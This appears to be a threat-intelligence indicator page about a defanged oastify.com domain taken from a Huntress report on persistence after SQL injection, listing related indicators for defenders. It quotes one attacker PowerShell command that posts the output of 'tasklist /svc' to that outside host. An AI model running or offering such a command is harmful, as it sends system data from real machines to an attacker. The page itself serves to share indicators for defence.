334thribetlhkyo977gqrcht1k7bvdj2.oastify[.]comDomain
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 3 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Threat Actors Achieve Persistence After SQL Injection“powershell -Command "Invoke-WebRequest -Uri 'hxxp://334thribetlhkyo977gqrcht1k7bvdj2.oastify[.]com' -Method Post -Body $(tasklist /svc | Out-String)"”
Indicators reported together
named in the same reports- hxxp://334thribetlhkyo977gqrcht1k7bvdj2.oastify[.]comin 1 report
- pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]devin 1 report
- c4c8e8c336c3429d97195076bf3bb6ebin 1 report
Copy these 3 indicators · defanged
Thanks — we review every report.